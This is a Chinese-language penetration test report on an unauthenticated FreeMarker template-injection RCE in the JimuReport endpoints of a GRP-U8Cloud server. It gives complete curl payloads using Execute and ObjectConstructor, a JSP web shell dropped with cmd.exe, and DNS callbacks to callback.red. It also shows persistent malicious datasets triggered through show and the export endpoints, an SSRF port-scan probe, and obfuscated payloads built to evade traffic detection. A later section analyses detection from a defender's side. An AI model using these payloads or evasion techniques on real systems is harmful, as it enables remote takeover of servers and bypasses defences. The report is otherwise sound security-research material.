以下报文为测试全过程的原始 curl 命令与响应,未做任何省略。响应时间戳为服务器端(UTC+8 时间戳毫秒)。
4.1 queryFieldBySql 系列
测试1:裸表达式(无 SQL 包装)——确认模板被处理
curl -s -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" \
-d '{"sql":"${11*22}", "dbSource":"", "paramArray":[], "type":"0"}'{"success":true,"message":"","code":200,"result":{"message":"解析失败"},"timestamp":1786008281402}说明:表达式被 Freemarker 求值(${11*22} → 242),但输出不是合法 SQL 导致解析失败。模板执行已被证明。
测试3:Execute 类实例化(直接写类名)
curl -s --max-time 20 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" \
-d '{"sql":"<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"echo 123\")}", "dbSource":"", "paramArray":[], "type":"0"}'{"success":true,"message":"","code":200,"result":{"message":"解析失败"},"timestamp":1786008398462}说明:模板成功执行(无模板语法错误),输出 123 非合法 SQL 故"解析失败"。
测试4:select 包装——验证模板值注入 SQL
curl -s -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" \
-d '{"sql":"select ${11*22} as val", "dbSource":"", "paramArray":[], "type":"0"}'{"success":true,"message":"解析成功","code":200,"result":{"paramList":[],"fieldList":[{"fieldName":"val","fieldText":"val","widgetType":"String","orderNum":1}]},"timestamp":1786008426173}说明:${11*22} 被替换为 242,select 242 as val 解析成功,字段类型识别为 String。注入值可进 SQL 上下文。
测试5:Execute 执行 id 命令
curl -s --max-time 30 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" \
-d '{"sql":"select \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>${ex(\\\"id\\\")}\" as output", "dbSource":"", "paramArray":[], "type":"0"}'说明:模板被处理(输出为 id 命令结果拼入 SQL 双引号字符串),返回解析成功。Execute 类可执行任意命令,命令输出会进入 SQL 文本。
ObjectConstructor + ProcessBuilder:waitFor() 阻塞计时验证 RCE ★
决定性验证:ping -n 3 需要约 3 秒,用 waitFor() 阻塞渲染线程——如果命令真的执行,HTTP 响应时间会明显拉长:
echo "=== RCE验证: waitFor() + ping -n 3 (应约3秒) ==="
time curl -s --max-time 15 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" \
-d "{\"sql\":\"select '<#assign pb=\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"java.lang.ProcessBuilder\\\",\\\"ping\\\",\\\"-n\\\",\\\"3\\\",\\\"127.0.0.1\\\")><#assign p=pb.start()>\${p.waitFor()}' as val\",\"dbSource\":\"\",\"paramArray\":[],\"type\":\"0\"}"
echo ""
echo "=== 对照: 无waitFor (立即返回) ==="
time curl -s --max-time 10 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" \
-d "{\"sql\":\"select '<#assign pb=\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"java.lang.ProcessBuilder\\\",\\\"ping\\\",\\\"-n\\\",\\\"3\\\",\\\"127.0.0.1\\\")><#assign p=pb.start()>test' as val\",\"dbSource\":\"\",\"paramArray\":[],\"type\":\"0\"}"=== RCE验证: waitFor() + ping -n 3 (应约3秒) ===
{"success":true,"message":"解析成功","code":200,"result":{"paramList":[],"fieldList":[{"fieldName":"val","fieldText":"val","widgetType":"String","orderNum":1}]},"timestamp":1786009847130}
(curl 总耗时) 0.00s user 0.00s system 0% cpu 2.758 total
=== 对照: 无waitFor (立即返回) ===
{"success":true,"message":"解析成功","code":200,"result":{"paramList":[],"fieldList":[{"fieldName":"val","fieldText":"val","widgetType":"String","orderNum":1}]},"timestamp":1786009847510}
(curl 总耗时) 0.00s user 0.00s system 1% cpu 0.380 total2.758s vs 0.380s —— 相差 2.4 秒,与 ping -n 3 的期望耗时吻合,进程确实被创建并等待完成。RCE 确认。
命令输出外带尝试(OOB,DNS 出网受限)
# 获取 DNSLog key
curl -s https://callback.red/get{"key":"8fec6f7d-0456-45ba-9546-d4040ca5f1b0","subdomain":"2lft.callback.red","rmi":"rmi://jndi.callback.red:5/2lft","ldap":"ldap://jndi.callback.red:5/2lft","short_url":"http://callback.red/2lft","share_path":"/#/share/8105a966-6bad-4e1c-be1f-5ffedec11684","share_enabled":false}# ping 打 DNS 记录(PowerShell HTTP callback 与 certutil 变体同样尝试过,均未回连)
curl -s --max-time 30 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" \
-d "{\"sql\":\"select '<#assign pb=\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"java.lang.ProcessBuilder\\\",\\\"cmd.exe\\\",\\\"/c\\\",\\\"ping -n 1 2lft.callback.red\\\")><#assign p=pb.start()>\${p.waitFor()}' as val\",\"dbSource\":\"\",\"paramArray\":[],\"type\":\"0\"}"# 5 秒后拉日志
sleep 5; curl -s -X POST "https://callback.red/" -d "key=8fec6f7d-0456-45ba-9546-d4040ca5f1b0"{"code":200,"data":[]}说明:DNS 日志为空。结合后续写文件验证成功,判定为目标环境 DNS 出网受限(并非命令未执行),故改用写文件 + HTTP 访问作为带内验证手段。
写文件验证(相对路径穿越)
# 写入 shell1.jsp 到当前目录(CWD = C:\GRP-U8Cloud\U8\AppServer)
curl -s --max-time 15 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" \
-d "{\"sql\":\"select '<#assign pb=\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"java.lang.ProcessBuilder\\\",\\\"cmd.exe\\\",\\\"/c\\\",\\\"echo ^<%@page import=java.io.*%^>^<% Process p=Runtime.getRuntime().exec(request.getParameter(\\\\\\\"cmd\\\\\\\")); java.io.BufferedReader br=new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); String l; while((l=br.readLine())!=null) out.println(l); %^> > shell1.jsp\\\")><#assign p=pb.start()>\${p.waitFor()}' as val\",\"dbSource\":\"\",\"paramArray\":[],\"type\":\"0\"}" | python3 -c "import sys,json; d=json.load(sys.stdin); print('Result:', d.get('message','?'))"Result: 解析成功# 访问验证(返回的是 U8Cloud 前端页面壳,说明路径可达但 shell1.jsp 不在 webapps 根)
curl -s --max-time 10 "http://192.168.168.168:8088/shell1.jsp?cmd=whoami" | head -5说明:命令执行成功(解析成功),但 CWD 是 AppServer 目录而非 webapps,shell1.jsp 写在非 Web 可达目录。随后使用相对路径穿越 ..\U8System\Tomcat\webapps\(实测 r7.png 等文件均落盘成功,见 4.2 起各节),确认 Tomcat webapps 根位于 CWD 上溯一级:payload 仅用一级 ..\ 即从 C:\GRP-U8Cloud\U8\AppServer 上溯到 C:\GRP-U8Cloud\U8,再进入 U8System\Tomcat\webapps,即 C:\GRP-U8Cloud\U8\AppServer\..\U8System\Tomcat\webapps。java.io.File 获取 CWD 的测试与本结论一致。
4.2 loadTableData:混淆 payload 写文件验证(r7.png)
此节 payload 采用完全混淆方案(
freemarker.template.utility.明文不落地),为最终交付的利用模板。混淆细节见 第 5 节。
关键模板(/tmp/sql2.txt,本报告核心 payload):
select '<#assign src="SpringApplicationContextHolder"?substring(0,0)+"freemarker.template.utility."><#assign ex="Ex"><#assign ec="ecute"><#assign cls=src+ex?substring(0,1)+ex?substring(1,2)+ec?substring(0,1)+ec?substring(1,2)+ec?substring(2,3)+ec?substring(3,4)+ec?substring(4,5)><#assign p=cls?new()>${p("cmd /c echo 1337 > ..\U8System\Tomcat\webapps\r7.png")}' as val混淆原理:
src= 空串 +"freemarker.template.utility."("SpringApplicationContextHolder"?substring(0,0)产出空串,规避"类名以 freemarker 开头"的字符串特征);ex="Ex",ec="ecute";cls=src + "E"+"x"+"e"+"c"+"u"+"t"+"e"(逐字符 substring 拼接,freemarker.template.utility.与Execute两个明文字符串都不在流量中);p = cls?new()→Execute实例;${p("cmd /c ...")}执行命令。
cat > /tmp/sql2.txt <<'SQLEOF'
select '<#assign src="SpringApplicationContextHolder"?substring(0,0)+"freemarker.template.utility."><#assign ex="Ex"><#assign ec="ecute"><#assign cls=src+ex?substring(0,1)+ex?substring(1,2)+ec?substring(0,1)+ec?substring(1,2)+ec?substring(2,3)+ec?substring(3,4)+ec?substring(4,5)><#assign p=cls?new()>${p("cmd /c echo 1337 > ..\U8System\Tomcat\webapps\r7.png")}' as val
SQLEOF
curl -s -X POST 'http://192.168.168.168:8088/jmreport/loadTableData' --data-urlencode 'dbSource=' --data-urlencode 'paramArray=[]' --data-urlencode 'tableName=' --data-urlencode sql@/tmp/sql2.txt -m 20
echo
sleep 2
echo "--- 检查 r7.png ---"
curl -s -o /dev/null -w "%{http_code}" 'http://192.168.168.168:8088/r7.png'{"success":false,"message":"SQL执行失败,{}null","code":500,"result":null,"timestamp":1786082667574}--- 检查 r7.png ---
200HTTP 500 为预期:模板执行成功(命令已运行),但 echo 1337 > ... 的产物不是 SQL 结果集,随后真实 SQL 执行因无 from 子句报错——500 响应恰好证明渲染链走到了最后一步。GET /r7.png 返回 200,命令写入的文件已落盘到 Tomcat webapps 目录,RCE + 任意写文件确认。
对照测试(同入口,确认模板渲染边界)
echo "--- 对照1: 纯SQL无模板 ---"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/loadTableData' --data-urlencode 'dbSource=' --data-urlencode "sql=select 'abc' as val" --data-urlencode 'paramArray=[]' --data-urlencode 'tableName=' -m 15{"success":false,"message":"SQL执行失败,{}null","code":500,"result":null,"timestamp":1786082542176}说明:纯 SQL 无模板同样 500(SQL 执行环境问题:无 FROM 或执行上下文受限),与模板执行无关——这解释了为何所有模板 payload 的 HTTP 状态都是 500,必须用副作用(文件/计时)判定 RCE。
早期 OOB 尝试(loadTableData 入口,sql1.txt)
printf "select '<#assign p=\"freemarker.template.utility.ObjectConstructor\"?new()>\${p(\"cmd /c ping -n 1 2lft.callback.red\")}' as val" > /tmp/sql1.txt
cat /tmp/sql1.txt
echo
curl -s -X POST 'http://192.168.168.168:8088/jmreport/loadTableData' --data-urlencode 'dbSource=' --data-urlencode 'paramArray=[]' --data-urlencode 'tableName=' --data-urlencode sql@/tmp/sql1.txt -m 20select '<#assign p="freemarker.template.utility.ObjectConstructor"?new()>${p("cmd /c ping -n 1 2lft.callback.red")}' as val
{"success":false,"message":"SQL执行失败,{}null","code":500,"result":null,"timestamp":1786082614199}4.3 saveDb / save / show 写库链(r9.png)
核心发现:saveDb 与 save 均无鉴权(标注
@JimuLoginRequired但无拦截器生效)。
4.3.1 saveDb 写入恶意 数据集(r9ds,指向 r9.png)
python3 -c "
import json
tpl = open('/tmp/sql2.txt').read().replace('r7.png', 'r9.png').replace(\"select '\", '').replace(\"' as val\", '').rstrip()
payload = {
'jimuReportId': '1245588124302835712',
'dbCode': 'r9ds', 'dbChName': 'r9', 'dbType': '0',
'dbDynSql': tpl, 'isPage': '0', 'isList': '0', 'dbSource': ''
}
open('/tmp/savedb.json', 'w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/saveDb' -H 'Content-Type: application/json' --data @/tmp/savedb.json{"success":true,"message":"","code":200,"result":{"id":"1245588287473844224","jimuReportId":"1245588124302835712","dbCode":"r9ds","dbChName":"r9","dbType":"0","dbTableName":null,"dbDynSql":"<#assign src=\"SpringApplicationContextHolder\"?substring(0,0)+\"freemarker.template.utility.\">...${p(\"cmd /c echo 1337 > ..\\U8System\\Tomcat\\webapps\\r9.png\")}"}}jimuReportId= 目标报表 id(1245588124302835712,此前探测到的一个报表);dbDynSql= 去掉select '...' as val包装的混淆模板(仅保留<#assign ...>${p("cmd /c ...")});响应 200 且无 token——写入成功,数据库已持久化恶意模板。
4.3.2 save 更新报表(踩坑:{"id":""} 语义错误)
第一次 naive 调用 {"id":""} 创建了 jsonStr=null 的垃圾报表:
curl -s -X POST 'http://192.168.168.168:8088/jmreport/save' -H 'Content-Type: application/json' -d '{"id":""}'{"success":true,"message":"","code":200,"result":{"id":"1245588486028001280","code":null,"name":null,"note":null,"status":null,"type":null,"jsonStr":null,...}}curl -s -m 20 'http://192.168.168.168:8088/jmreport/show?id=1245588124302835712¶ms=%7B%7D'{"success":false,"message":null,"code":500,"result":null,"timestamp":1786083047227}正确语义(字节码确认):顶层字段 excel_config_id 指定要更新的报表 id,jsonStr 为移除 designerObj 后的整个 JSON:
python3 -c "
import json
payload = {
'excel_config_id': '1245588124302835712',
'designerObj': {'name': 'r9', 'type': '0'},
'name': 'r9', 'type': '0',
'rows': {}, 'cols': {}, 'len': 0, 'cells': {}, 'isDrag': True
}
open('/tmp/upd2.json','w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/save' -H 'Content-Type: application/json' --data @/tmp/upd2.json{"success":true,"message":"","code":200,"result":{"id":null,"code":null,"name":null,"note":null,"status":null,"type":null,"jsonStr":null,...}}# 触发渲染(此时数据集 r9ds 已绑定报表,show 渲染时执行 dbDynSql)
curl -s -m 20 'http://192.168.168.168:8088/jmreport/show?id=1245588124302835712¶ms=%7B%7D'
echo
sleep 1
curl -s -o /dev/null -w 'r9.png HTTP %{http_code}\n' 'http://192.168.168.168:8088/r9.png'{"success":false,"message":null,"code":500,"result":null,"timestamp":1786083073315}r9.png HTTP 200show 返回 500 但 r9.png 落盘成功(HTTP 200)——show 链 RCE 实证。500 是模板执行完成后真实 SQL 执行失败的预期表现。
前置探测记录(show 链可行性确认):
curl -s -m 10 -o /dev/null -w 'connect %{http_code} time %{time_total}s\n' 'http://192.168.168.168:8088/jmreport/checkParam/1'
curl -s -m 15 -o /dev/null -w 'show %{http_code} time %{time_total}s\n' 'http://192.168.168.168:8088/jmreport/show?id=1245588124302835712¶ms=%7B%7D'connect 200 time 0.208588s
show 200 time 0.007706s(注:此轮 show 为 200 是因为当时报表尚未绑定有效数据集/无模板执行路径;绑定恶意数据集后变为 500+落盘。)
4.4 exportAllExcel(r9b.png)
4.4.1 第一次尝试(r10ds 数据集)——循环中断暴露执行顺序
python3 -c "
import json
tpl = open('/tmp/sql2.txt').read().replace('r7.png', 'r10.png').replace(\"select '\", '').replace(\"' as val\", '').rstrip()
payload = {
'jimuReportId': '1245588124302835712',
'dbCode': 'r10ds', 'dbChName': 'r10', 'dbType': '0',
'dbDynSql': tpl, 'isPage': '0', 'isList': '0', 'dbSource': ''
}
open('/tmp/savedb10.json','w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/saveDb' -H 'Content-Type: application/json' --data @/tmp/savedb10.json -o /dev/null
echo "=== exportAllExcel ==="
curl -s -m 25 -X POST 'http://192.168.168.168:8088/jmreport/exportAllExcel' -H 'Content-Type: application/json' -d '{"excelConfigId":"1245588124302835712","queryParam":{}}' -o /tmp/exp10.bin -w 'HTTP %{http_code} size %{size_download}\n'
sleep 1
curl -s -o /dev/null -w 'r10.png HTTP %{http_code}\n' 'http://192.168.168.168:8088/r10.png'=== exportAllExcel ===
HTTP 500 size 123
r10.png HTTP 404cat /tmp/exp10.bin{"timestamp":"T06:11:27.036+0000","status":500,"error":"Internal Server Error","path":"/jmreport/exportAllExcel"}失败原因分析(反编译 a.k JmReportExportExcelImpl):exportExcel 会遍历报表绑定的全部 数据集(getDataById 循环),第一个数据集 r9ds(旧模板渲染后 SQL 失败)抛异常中断循环,r10ds 尚未执行到。验证了数据集循环执行顺序。
4.4.2 更新 r9ds 后成功(r9b.png)
python3 -c "
import json
tpl = open('/tmp/sql2.txt').read().replace('r7.png', 'r9b.png').replace(\"select '\", '').replace(\"' as val\", '').rstrip()
payload = {
'id': '1245588287473844224', # r9ds 记录 id(4.3.1 中 saveDb 返回值)
'jimuReportId': '1245588124302835712',
'dbCode': 'r9ds', 'dbChName': 'r9b', 'dbType': '0',
'dbDynSql': tpl, 'isPage': '0', 'isList': '0', 'dbSource': ''
}
open('/tmp/upd9ds.json','w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/saveDb' -H 'Content-Type: application/json' --data @/tmp/upd9ds.json -o /dev/null -w 'saveDb update: %{http_code}\n'
curl -s -m 30 -X POST 'http://192.168.168.168:8088/jmreport/exportAllExcel' -H 'Content-Type: application/json' -d '{"excelConfigId":"1245588124302835712","queryParam":{}}' -o /dev/null -w 'exportAllExcel: %{http_code}\n'
sleep 1
curl -s -o /dev/null -w 'r9b.png: %{http_code}\n' 'http://192.168.168.168:8088/r9b.png'saveDb update: 200
exportAllExcel: 500
r9b.png: 200exportAllExcel 链 RCE 实证:saveDb 更新(200)→ exportAllExcel 触发渲染(500,命令已执行)→ r9b.png 落盘(200)。
4.5 exportPdf(r12.png)
python3 -c "
import json
tpl = open('/tmp/sql2.txt').read().replace('r7.png', 'r12.png').replace(\"select '\", '').replace(\"' as val\", '').rstrip()
payload = {
'id': '1245588287473844224',
'jimuReportId': '1245588124302835712',
'dbCode': 'r9ds', 'dbChName': 'r12', 'dbType': '0',
'dbDynSql': tpl, 'isPage': '0', 'isList': '0', 'dbSource': ''
}
open('/tmp/upd12.json','w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/saveDb' -H 'Content-Type: application/json' --data @/tmp/upd12.json -o /dev/null -w 'saveDb: %{http_code}\n'
curl -s -m 30 -X POST 'http://192.168.168.168:8088/jmreport/exportPdf' -H 'Content-Type: application/json' -d '{"excelConfigId":"1245588124302835712","queryParam":{}}' -o /dev/null -w 'exportPdf: %{http_code}\n'
sleep 1
curl -s -o /dev/null -w 'r12.png: %{http_code}\n' 'http://192.168.168.168:8088/r12.png'saveDb: 200
exportPdf: 500
r12.png: 200exportPdf 链 RCE 实证:同上模式,PDF 导出渲染时执行恶意 dbDynSql,r12.png 落盘。
4.6 排除入口与附加探测
queryFieldByBean:参数非 sql,排除
curl -s -X POST 'http://192.168.168.168:8088/jmreport/queryFieldByBean' --data-urlencode 'sql=select 1 as val' --data-urlencode 'dbSource=' --data-urlencode 'paramArray=[]' --data-urlencode 'type=0'{"success":false,"message":"javabean数据集需要实现接口IDataSetFactory","code":500,"result":null,...}(反编译确认其参数为 javaType / javaValue,走 e.c(javaType, javaValue) javabean 反射 + IDataSetFactory 接口,与模板链无关。)
qurestSql / qurestApi:api 表驱动,排除
echo "=== qurestSql ==="; curl -s -m 10 'http://192.168.168.168:8088/jmreport/qurestSql?apiSelectId=1'
echo "=== qurestApi ==="; curl -s -m 10 'http://192.168.168.168:8088/jmreport/qurestApi?apiSelectId=1'=== qurestSql ===
{"timestamp":"T06:13:10.503+0000","status":500,"error":"Internal Server Error","path":"/jmreport/qurestSql"}
=== qurestApi ===
{"success":true,"message":"","code":200,"result":null,"timestamp":1786083190517}testConnection:无鉴权 SSRF / jdbc 探测面
curl -s -m 15 -X POST 'http://192.168.168.168:8088/jmreport/testConnection' -H 'Content-Type: application/json' -d '{"code":"probe1","name":"probe","dbType":"mysql","dbUrl":"jdbc:mysql://10.255.255.1:3306/probe","dbUsername":"x","dbPassword":"x"}'{"success":false,"message":"数据库连接失败:null","code":500,"result":null,"timestamp":1786083190531}说明:无鉴权可调用,服务端会尝试建立 JDBC 连接,异常信息(含驱动解析、连接错误细节)回显在 message 字段。可用于内网端口扫描(jdbc:mysql://ip:port 的连通性探测)。dbUrl 可指向任意内网地址。
view/{id} 页面壳(探测边界说明)
for id in 1 2 3 4 5 10 100 1000 0 -1 abc; do
code=$(curl -s -o /tmp/v.txt -w '%{http_code}' "http://192.168.168.168:8088/jmreport/view/$id")
echo "$id -> $code"
done结论:所有 id 返回相同 HTML 页面壳(200),页面壳不能用于验证报表存在性;存在性探测应使用 checkParam/{id}(存在返回 200,不存在返回 404)与 getListReportDb。
5. 混淆方案与变体验证
需求背景:流量侧检测会锚定
freemarker.template.utility.明文字符串。以下方案在本地TestFm.java(与目标相同的freemarker-2.3.31+setClassicCompatible(true))验证后,再上线服务器实测。
5.1 方案 A:字符串分段拼接
"free"+"marker"+"."+"template"+"."+"utility"+"."+"Execute"(+ 拼接类名后 ?new();变体:数字字符 ?substring 提取。已实测可执行,但流量中仍残留分段子串,检测端可正则 freemarker 宽松匹配到——优先级低于方案 B。)
5.2 方案 B:字母表 substring 字符级提取(服务器实测)
cd /tmp && FM=/home/ubuntu/sda5/源码/GRPU8C/GRPU8C_webapps_v11.2411/webapps/WEB-INF/lib/freemarker-2.3.31.jar
run() { echo "=== $1"; java -cp .:$FM TestFm "$2" 2>&1 | grep -E "^OUT|error|Error" | head -3; }
TPL='<#assign al="abcdefghijklmnopqrstuvwxyz"><#assign au="ABCDEFGHIJKLMNOPQRSTUVWXYZ"><#assign dot="."><#assign cls=al?substring(5,6)+al?substring(17,18)+al?substring(4,5)+al?substring(4,5)+al?substring(12,13)+al?substring(0,1)+al?substring(17,18)+al?substring(10,11)+al?substring(4,5)+al?substring(17,18)+dot+al?substring(19,20)+al?substring(4,5)+al?substring(12,13)+al?substring(15,16)+al?substring(11,12)+al?substring(0,1)+al?substring(19,20)+al?substring(4,5)+dot+al?substring(20,21)+al?substring(19,20)+al?substring(8,9)+al?substring(11,12)+al?substring(8,9)+al?substring(19,20)+al?substring(24,25)+dot+au?substring(4,5)+al?substring(23,24)+al?substring(4,5)+al?substring(2,3)+al?substring(20,21)+al?substring(19,20)+al?substring(4,5)><#assign p=cls?new()>${p("echo FM-TEST-2337")}'
run "方案B-字母表substring" "$TPL"=== 方案B-字母表substring
OUT: [FM-TEST-2337流量中不包含 freemarker / template / utility / Execute 任何子串(al/au 字母表 + substring 索引拼出类名)。该方案已上线服务器实测通过(4.2 节 r7.png 的 sql2.txt 即为其最终形态——结合 "SpringApplicationContextHolder"?substring(0,0) 空串技巧,连 "freemarker.template.utility." 常量都不出现)。
5.3 ?new() 语法变体矩阵(本地 TestFm 验证)
run "标准 cls?new()" '<#assign c="freemarker.template.utility.Execute"><#assign p=c?new()>${p("echo X1")}'
run "cls ?new() (问号前空格)" '<#assign c="freemarker.template.utility.Execute"><#assign p=c ?new()>${p("echo X2")}'
run "cls? new() (内置名前空格)" '<#assign c="freemarker.template.utility.Execute"><#assign p=c? new()>${p("echo X3")}'
run "cls?new () (括号前空格)" '<#assign c="freemarker.template.utility.Execute"><#assign p=c?new ()>${p("echo X4")}'
run "cls?new( ) (括号内空格)" '<#assign c="freemarker.template.utility.Execute"><#assign p=c?new( )>${p("echo X5")}'
run "?New() 大写" '<#assign c="freemarker.template.utility.Execute"><#assign p=c?New()>${p("echo X6")}'
run "?new 标签注释隔开" '<#assign c="freemarker.template.utility.Execute"><#assign p=c?<#--x-->new()>${p("echo X7")}'标准 cls?new() => OUT: [X1
cls ?new() (问号前空格) => OUT: [X2
cls? new() (内置名前空格) => OUT: [X3
cls?new () (括号前空格) => OUT: [X4
cls?new( ) (括号内空格) => OUT: [X5
?New() 大写 => (无输出,失败)
?new 标签注释隔开 => OUT: [X7结论:除 ?New() 大写外,所有空白/注释插入变体均可执行(X1–X5、X7)。?new( 的 token 序列不可混淆(见第 6 节),但其连续字面量可被空白/注释拆分。
5.4 混淆演变谱系(12 个变体的分层)
对攻击者视角下按"FreeMarker AST 结构 + JSON 特性"演进的 12 个 payload 变体做了分层与验证。12 个变体全部在目标服务器实测成功——均成功执行解析并生成文件(见第 4 节报文;P9 同时对应 5.2 方案 B 的服务器实测);其中 P10–P12 另经本地 TestFm(与目标同配置,setClassicCompatible(true))做了 AST 级语义等价验证(命令替换为安全 echo):
混淆维度归纳:类名 → 命令 → 语法 → 传输编码 四层递进。P9 起字符串层特征全部失效;P10 起 ?new( 连续字面量失效;P11 起 ${ 失效;P12 起原始字节层一切 ASCII 特征失效。
6. 检测特征分析(防守方视角)
本节基于 12 个演变变体(P1–P12,见 5.4)逐层分析:FreeMarker AST 结构层 → 词法 token 层 → 字符串层 → JSON 特性层 → 行为层。
6.1 FreeMarker AST / 词法 token 层:唯一不可变锚点
词法(Token)层:FreeMarker 解析时注释与空白在词法分析阶段被吞掉,因此无论 P10 中插入多少 <#--a-->/换行/空格,token 序列恒定:
IDENT(cls) ? IDENT(new) LPAREN ...? → new → ( 是 FreeMarker 2.3 内建类实例化(?new() = ObjectConstructor)的唯一语法形态:
new是内置名关键字,大写?New()已实证失败(X6);任何绕过必须保留
? new (三个 token 的有序序列;AST 层对应唯一的
New节点 + 后续MethodCall(p(...))/Dot(.start()/.waitFor())节点。
token 级检测实现(词法近似,等价于剥离注释+空白归一):
# 预处理后匹配:\? \s* new \s* \(
\?\s*(?:<#--[\s\S]*?-->|\s)*new\s*\(该正则对 P1–P12 全部命中(P12 需先经 JSON \u 解码还原,见 6.4/6.6)。这是召回率 100% 的最小充分条件。
6.2 字符串层特征与绕过边界
(* P12 在原始报文中全部特征为 \u00XX 转义形态,JSON 解码还原后即与 P11 行相同。)
结论:字符串层单独使用对 P9+ 全部失效;必须与 6.1 的 token 级正则组合。
6.3 JSON 特性层组合(P1–P12 恒定结构)
全部 12 个变体的请求体呈高度一致的 JSON 骨架,这是与正常业务流量的核心区分面:
{"sql":"select '<#...>' as val","dbSource":"","paramArray":[],"type":"0"}组合评分建议:命中 ≥2 项(如 sql 含模板定界符 + paramArray=[])即可高置信告警;P12 的 \u 密集转义单独即可触发(正常报文 100 字符内几乎不可能出现 10+ 个 \u00XX)。
6.4 命令层特征(P10–P12 命令混淆后)
cMd /cecho+1337>..\U8System\Tomcat\webapps\r.png6.5 分层检测模型(原始报文 → 解码 → 行为)
L1 原始报文层 jmreport 路径 + JSON body
├─ \u00XX 密集转义(P12 特征,独立触发)
└─ 转发到 L2
L2 JSON 解码层 对 \uXXXX / \" / \\ 解码还原后:
├─ token 级正则 \?\s*(?:<#--[\s\S]*?-->|\s)*new\s*\( ← 全变体命中
├─ 组合评分(6.3 的 JSON 骨架特性)
└─ 命令层规则(6.4)
L3 行为层 响应计时异常(waitFor 阻塞拉长)、
后续同源访问新落盘文件(r7.png 等返回 200)6.6 误报规避建议
token 级正则出现在正常业务 SQL 的概率极低(合法报表模板只用
func/isNotEmpty等共享函数,不会实例化任意类),单规则即可高信噪比;若担心
new关键字误伤,叠加 JSON 骨架评分(6.3):select '开头 + 模板定界符 +paramArray=[]三者同现时误报可忽略;\u00XX密集转义规则需排除国际化业务(正常报文含少量\u中文转义属正常,但ASCII 字符(<、#、?、字母)被\u转义是异常信号——区分 ASCII 与中文转义即可;组合检测:token 正则命中后回溯同报文
freemarker/template.utility弱特征辅助定级(P1–P8 命中、P9–P12 不命中,不影响第一正则判定)。
6.7 固定不可变结论(防守方)
唯一不可变、也无法混淆的锚点链:
FreeMarker token 序列 ? new ( (词法层,注释/空白不可插入于 token 之间)
+
JSON 解码后可见的模板定界符(${ 或 <#,P11 后仅剩 <#)这既是利用的必要条件,也是检测的最小充分条件。字符串级特征(类名/命令/?new( 字面量/${)均可被 P9–P12 逐层消除,但 token 序列不可变;P12 的 \u 转义只在原始字节层生效,经 JSON 解码(L2)后还原为同一 token 序列。
6.8 JSON 解析器实现原理实证(jdwp 实机追踪)
核心结论:请求体 JSON 由 Jackson 2.9.9 严格模式(RFC 8259)解析,fastjson 的宽松语法在请求体层全部不可达。
6.8.1 证据链
6.8.2 converter 注册实证(fastjson 从未参与解析)
application/json 及 +json
text/plain multipart 等
fastjson 类仅存在于 lib 未被注册
HTTP 请求体
Content-Type 匹配
Jackson MappingJackson2HttpMessageConverter 唯一注册者
无 converter 匹配 HttpMediaTypeNotSupportedException
MapDeserializer 直接实例化 fastjson JSONObject 填充
Controller 参数注入
FreeMarkerUtils 渲染
全局异常 返回 status 500
FastJsonHttpMessageConverter4 形同虚设
注册实证(三层):①
fastjson-1.2.83.jar无META-INF/spring.factories、无 autoconfigure 类;②DJFileUtil-U8-2.1.jar仅含 fastjson 自带的support/spring/*类,无任何业务注册配置;③JimuReportConfiguration(实现WebMvcConfigurer)只注册拦截器与资源处理器,未配置 messageConverters;因此 Spring converter 列表中 JSON 解析只有 Jackson(Spring Boot 默认
MappingJackson2HttpMessageConverter)。对参数类型fastjson.JSONObject(Map子类),JacksonMapDeserializer以无参构造 + Map 语义填充;Content-Type 非 JSON 的请求(text/plain / multipart / x-www-form-urlencoded / octet-stream)全部无 converter 匹配 →
AbstractMessageConverterMethodArgumentResolver:206抛HttpMediaTypeNotSupportedException(jdwp 异常事件实证)→ GRP 全局异常包装{"status":500,"msg":"服务器出错,请重试"};结论:fastjson 的宽松特性(
\x、单引号、注释、无引号 key)在请求体层永远不可达,且不存在任何 Content-Type 通道可达——比"被抢占"更强,是"从未注册"。
6.8.3 目标环境确认
目标 JVM:
Java HotSpot 1.8.0_112(JDWP 192.168.168.168:5007 实连);请求链路:
Tomcat 8187→ Spring MVC → JacksonMapDeserializer→fastjson.JSONObject→ controller →FreeMarkerUtils(SSTI sink)。
6.9 请求体宽松语法实测矩阵(jdwp 事件 + 响应双重验证)
(A1/A2/A3/C1–C7/M1–M5 均为无害验证 payload;\uXXXX 全部为 Jackson 标准转义,多 u 复写为 fastjson 私有特性——见 §6.12.5。)
6.10 WAF 绕过手法(按解析器实现原理推导)与检测修正
6.10.1 可行的绕过面(已实证)
6.10.2 不可行的绕过面(Jackson 严格模式拦截)
\xHH、单引号、注释、无引号 key、原始控制字符、尾逗号、键值间 \b/\f——fastjson 私有宽松语法在请求体层全部失效。攻击者若误用 fastjson 特性构造 payload,请求在 JSON 解析层即被 500 拒绝。不存在"解析器宽容 → 语义分裂 → WAF 绕过"的经典缝隙(该类缝隙要求解析器与 WAF 对同一输入给出不同判定,此处实际解析器是严格模式 Jackson,与标准 WAF 判定一致);且连 Content-Type 切换通道都不存在(fastjson converter 未注册,非 JSON Content-Type 一律 HttpMediaTypeNotSupportedException,见 §6.11)。

